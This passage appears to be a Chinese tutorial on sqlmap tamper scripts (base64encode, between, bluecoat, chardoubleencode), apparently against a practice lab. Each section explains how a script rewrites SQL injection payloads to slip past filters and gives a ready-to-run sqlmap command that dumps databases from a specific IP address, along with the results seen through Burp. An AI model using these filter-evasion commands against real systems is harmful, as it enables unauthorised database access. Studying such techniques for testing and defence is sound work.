4. base64encode.py脚本
给指定的payload全部字符进行base64编码,适用于所有数据库,这个很好理解,直接看演示
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="base64encode.py" --proxy="http://127.0.0.1:8080" -batch
下面的演示的效果图:
发现并没注入成功,我们看看burp上面抓包的情况
可确认确实进行base64编码
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
5. between.py脚本
是根据实际情况分别将大于号">" 替换为"NOT BETWEEN 0 AND" , 等于号 "=" 替换为"BETWEEN AND" 适用于所有数据库
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="between.py" --proxy="http://127.0.0.1:8080" -batch
下面的演示的效果图:
发现是可以注入成功
burp抓包效果
发现并没有等于号,等于号有已经被替换了
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
6. bluecoat.py脚本
在SQL注入的语句后面添加有效的随机空白符用来替换空格符,之后使用"LIKE" 来替换等于号 "=" ,这里替换的过程中,显示的URL编码是"%09" 这个就表示空格,适用于MySQL数据库5.1,作者提到一个SGOS 这个真不认识,在网上搜索了下没找到好的解释。
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="bluecoat.py" --proxy="http://127.0.0.1:8080" -batch
下面的演示的效果图:
发现是可以注入成功
burpsuite查看注入的payload
根据上面结果可知是替换为了url编码%09
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
7. chardoubleencode.py脚本
对指定的payload的全部字符使用双重URL编码,对于已经编码的字符不做处理,简单点理解就是对payload进行二次编码,适用于所有数据库
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="chardoubleencode.py" --proxy="http://127.0.0.1:8080" -batch
下面的演示的效果图:
发现注入并不成功,我们看看Burpsuite的抓包情况
根据显示确实进行了两次编码